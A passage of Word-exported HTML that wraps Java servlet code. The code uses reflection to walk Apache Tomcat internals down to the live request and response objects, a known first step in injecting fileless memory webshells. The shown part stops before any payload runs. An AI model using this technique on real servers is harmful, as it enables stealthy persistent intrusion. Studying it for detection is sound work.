  59. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  60. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  61. mso-font-kerning:1.0000pt;"><font face="Calibri">import javax.servlet.http.HttpServletResponse;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  62. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  63. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  64. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  65. mso-font-kerning:1.0000pt;"><font face="Calibri">import java.io.BufferedInputStream;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  66. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  67. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  68. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  69. mso-font-kerning:1.0000pt;"><font face="Calibri">import java.io.IOException;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  70. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  71. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  72. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  73. mso-font-kerning:1.0000pt;"><font face="Calibri">import java.io.InputStream;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  74. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  75. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  76. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  77. mso-font-kerning:1.0000pt;"><font face="Calibri">import java.lang.reflect.Field;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  78. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  79. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  80. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  81. mso-font-kerning:1.0000pt;"><font face="Calibri">import java.lang.reflect.InvocationTargetException;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  82. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  83. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  84. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  85. mso-font-kerning:1.0000pt;"><font face="Calibri">import java.util.List;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  86. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  87. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  88. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  89. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  90. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  91. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  92. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  93. mso-font-kerning:1.0000pt;"><font face="Calibri">@WebServlet("/demo")</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  94. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  95. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  96. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  97. mso-font-kerning:1.0000pt;"><font face="Calibri">public class test extends HttpServlet {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  98. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  99. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  100. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  101. mso-font-kerning:1.0000pt;">    <font face="Calibri">@Override</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  102. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  103. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  104. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  105. mso-font-kerning:1.0000pt;">    <font face="Calibri">protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  106. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  107. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  108. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  109. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  110. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  111. mso-font-kerning:1.0000pt;">        <font face="Calibri">org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  112. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  113. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  114. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  115. mso-font-kerning:1.0000pt;">        <font face="Calibri">org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  116. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  117. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  118. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  119. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  120. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  121. mso-font-kerning:1.0000pt;">        <font face="Calibri">try {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  122. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  123. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  124. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  125. mso-font-kerning:1.0000pt;">            <font face="Calibri">Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  126. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  127. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  128. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  129. mso-font-kerning:1.0000pt;">            <font face="Calibri">context.setAccessible(true);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  130. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  131. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  132. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  133. mso-font-kerning:1.0000pt;">            <font face="Calibri">ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  134. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  135. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  136. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  137. mso-font-kerning:1.0000pt;">            </span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  138. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  139. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  140. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  141. mso-font-kerning:1.0000pt;">            <font face="Calibri">Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  142. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  143. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  144. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  145. mso-font-kerning:1.0000pt;">            <font face="Calibri">service.setAccessible(true);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  146. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  147. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  148. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  149. mso-font-kerning:1.0000pt;">            <font face="Calibri">org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  150. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  151. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  152. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  153. mso-font-kerning:1.0000pt;">            </span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  154. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  155. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  156. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  157. mso-font-kerning:1.0000pt;">            <font face="Calibri">Field connectors = standardService.getClass().getDeclaredField("connectors");</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  158. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  159. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  160. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  161. mso-font-kerning:1.0000pt;">            <font face="Calibri">connectors.setAccessible(true);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  162. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  163. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  164. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  165. mso-font-kerning:1.0000pt;">            <font face="Calibri">Connector[] connector = (Connector[]) connectors.get(standardService);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  166. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  167. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  168. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  169. mso-font-kerning:1.0000pt;">            </span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  170. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  171. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  172. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  173. mso-font-kerning:1.0000pt;">            <font face="Calibri">Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  174. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  175. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  176. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  177. mso-font-kerning:1.0000pt;">            <font face="Calibri">protocolHandler.setAccessible(true);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  178. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  179. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  180. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  181. mso-font-kerning:1.0000pt;">            </span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  182. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  183. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  184. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  185. mso-font-kerning:1.0000pt;">            <font face="Calibri">Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  186. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  187. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  188. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  189. mso-font-kerning:1.0000pt;">            </span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  190. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  191. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  192. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  193. mso-font-kerning:1.0000pt;">            <font face="Calibri">for (Class<?> declaredClass : declaredClasses) {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  194. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  195. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  196. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  197. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  198. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  199. mso-font-kerning:1.0000pt;">                <font face="Calibri">if (declaredClass.getName().length()==52){</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  200. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  201. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  202. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  203. mso-font-kerning:1.0000pt;">                    </span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  204. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  205. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  206. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  207. mso-font-kerning:1.0000pt;">                    <font face="Calibri">java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  208. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  209. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  210. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  211. mso-font-kerning:1.0000pt;">                    <font face="Calibri">getHandler.setAccessible(true);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  212. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  213. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  214. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  215. mso-font-kerning:1.0000pt;">                    </span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  216. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  217. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  218. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  219. mso-font-kerning:1.0000pt;">                    <font face="Calibri">Field global = declaredClass.getDeclaredField("global");</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  220. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  221. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  222. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  223. mso-font-kerning:1.0000pt;">                    <font face="Calibri">global.setAccessible(true);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  224. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  225. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  226. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  227. mso-font-kerning:1.0000pt;">                    <font face="Calibri">org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  228. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  229. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  230. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  231. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  232. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  233. mso-font-kerning:1.0000pt;">                    <font face="Calibri">Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  234. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  235. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  236. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  237. mso-font-kerning:1.0000pt;">                    <font face="Calibri">processors.setAccessible(true);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  238. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  239. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  240. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  241. mso-font-kerning:1.0000pt;">                    <font face="Calibri">java.util.List<org.apache.coyote.RequestInfo>  requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  242. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  243. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  244. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  245. mso-font-kerning:1.0000pt;">                    <font face="Calibri">Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  246. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  247. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  248. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  249. mso-font-kerning:1.0000pt;">                    <font face="Calibri">req1.setAccessible(true);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  250. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  251. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  252. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  253. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  254. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  255. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  256. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  257. mso-font-kerning:1.0000pt;">                    <font face="Calibri">for (RequestInfo info : requestInfo) {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  258. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  259. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  260. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  261. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  262. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  263. mso-font-kerning:1.0000pt;">                        <font face="Calibri">org.apache.coyote.Request request = (Request) req1.get(info);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  264. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  265. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  266. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  267. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  268. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  269. mso-font-kerning:1.0000pt;">                        <font face="Calibri">org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  270. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  271. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  272. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  273. mso-font-kerning:1.0000pt;">                        </span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  274. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  275. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  276. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  277. mso-font-kerning:1.0000pt;">                        <font face="Calibri">org.apache.catalina.connector.Response response = request1.getResponse();</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  278. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  279. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  280. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
